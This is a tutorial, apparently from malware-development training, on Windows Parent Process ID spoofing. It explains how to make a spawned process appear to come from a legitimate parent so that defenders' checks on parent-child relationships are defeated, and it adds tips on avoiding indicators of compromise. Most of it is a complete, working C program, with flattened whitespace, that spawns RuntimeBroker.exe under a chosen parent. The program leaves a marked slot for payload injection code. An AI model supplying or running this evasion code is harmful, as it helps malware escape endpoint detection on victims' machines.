Parent Process ID (PPID) Spoofing is a technique to change the PPID of a process, masking the connection between a child process and its actual parent. This makes it seem like the child process came from a different legit Windows process instead of its real parent.
Security systems keep an eye out for unusual parent-child relationships. For example, if Microsoft Word suddenly starts up cmd.exe, it could mean someone's running malicious macros. By changing cmd.exe's PPID, the real parent process gets hidden, making it look like it came from somewhere else.
An attributes list is like a cheat sheet storing details about a process or thread, like its priority or memory info. It helps keep track of and modify these details as needed.
To fake a PPID, you need to create a process using a flag called EXTENDED_STARTUPINFO_PRESENT. This flag lets you tweak details like the PPID. You also need a data structure called STARTUPINFOEXA for this.
Before playing with attributes, you've got to set up the attributes list using the InitializeProcThreadAttributeList function. You'll need to call it twice: first to figure out the list's size and then to actually set it up.
Once the attribute list is ready, you use UpdateProcThreadAttribute to tweak it. You specify what you want to change (like the PPID) and the value you want to change it to.
To summarize the process:
Call CreateProcessA with the flag EXTENDED_STARTUPINFO_PRESENT.
Set up the STARTUPINFOEXA structure with the attributes list.
Initialize the attributes list using InitializeProcThreadAttributeList.
Use UpdateProcThreadAttribute to change attributes, setting PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to fake the PPID.
Aditionally, the current directory can be an IoC. To fix this, simply set the lpCurrentDirectory parameter in CreateProcess WinAPI to a less suspicious directory, such as "C:\Windows\System32".
The following CreatePPidSpoofedProcess is a handy function for this task. It takes in details like the parent process, the name of the new process, and returns the new process's ID and handles:
#include<Windows.h>#include<stdio.h>// disable error 4996 (caused by sprint)#pragmawarning (disable:4996)#defineTARGET_PROCESS"RuntimeBroker.exe -Embedding"/*Parameters: - hParentProcess; handle to the process you want to be the parent of the created process - lpProcessName; a process name under '\System32\' to create - dwProcessId; outputted process id (of the newly created process) - hProcess; outputted process handle (of the newly created process) - hThread; outputted main thread handle (of the newly created process)Creates a new process `lpProcessName`, forcing `hParentProcess` to look like its parent*/BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH *2]; CHAR CurrentDir [MAX_PATH]; CHAR WnDr [MAX_PATH]; SIZE_T sThreadAttList =NULL; PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList =NULL; STARTUPINFOEXA SiEx = { 0 }; PROCESS_INFORMATION Pi = { 0 };// cleaning the structs (setting elements values to 0)RtlSecureZeroMemory(&SiEx,sizeof(STARTUPINFOEXA));RtlSecureZeroMemory(&Pi,sizeof(PROCESS_INFORMATION));// setting the size of the structure SiEx.StartupInfo.cb =sizeof(STARTUPINFOEXA);// getting the %windir% system variable path (this is 'C:\Windows')if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());returnFALSE; }// making the target process pathsprintf(lpPath,"%s\\System32\\%s", WnDr, lpProcessName);// making the `lpCurrentDirectory` parameter in CreateProcessAsprintf(CurrentDir,"%s\\System32\\", WnDr);//-------------------------------------------------------------------------------// this will fail with ERROR_INSUFFICIENT_BUFFER / 122InitializeProcThreadAttributeList(NULL,1,NULL,&sThreadAttList);// allocating enough memory pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);if (pThreadAttList ==NULL){printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());returnFALSE; }// calling InitializeProcThreadAttributeList again passing the right parametersif (!InitializeProcThreadAttributeList(pThreadAttList,1,NULL,&sThreadAttList)) {printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());returnFALSE; } if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n",GetLastError());returnFALSE; }// setting the `LPPROC_THREAD_ATTRIBUTE_LIST` element in `SiEx` to be equal to what was// created using `UpdateProcThreadAttribute` - that is the parent process SiEx.lpAttributeList = pThreadAttList;//-------------------------------------------------------------------------------printf("[i] Running : \"%s\" ... ", lpPath);if (!CreateProcessA(NULL, lpPath,NULL,NULL,FALSE, EXTENDED_STARTUPINFO_PRESENT,NULL, CurrentDir,&SiEx.StartupInfo,&Pi)) {printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());returnFALSE; }printf("[+] DONE \n");// filling up the OUTPUT parameter with 'CreateProcessA's output'*dwProcessId = Pi.dwProcessId;*hProcess = Pi.hProcess;*hThread = Pi.hThread;// cleaning upDeleteProcThreadAttributeList(pThreadAttList);CloseHandle(hParentProcess);// doing a small check to verify we got everything we needif (*dwProcessId !=NULL&&*hProcess !=NULL&&*hThread !=NULL)returnTRUE;returnFALSE;}intmain(int argc,char* argv[]) {if (argc <2) {printf("[!] Missing \"Parent Process Id\" Argument \n");return-1; } DWORD dwPPid =atoi(argv[1]), dwProcessId =NULL; HANDLE hPProcess =NULL, hProcess =NULL, hThread =NULL;// openning a handle to the parent processif ((hPProcess =OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwPPid)) ==NULL) {printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());return-1; }printf("[i] Spawning Target Process \"%s\" With Parent : %d \n", TARGET_PROCESS, dwPPid);if (!CreatePPidSpoofedProcess(hPProcess, TARGET_PROCESS,&dwProcessId,&hProcess,&hThread)) {return-1; }printf("[i] Target Process Created With Pid : %d \n", dwProcessId); /* Here goes the payload injection code */printf("[#] Press <Enter> To Quit ... ");getchar();CloseHandle(hProcess);CloseHandle(hThread);return0;}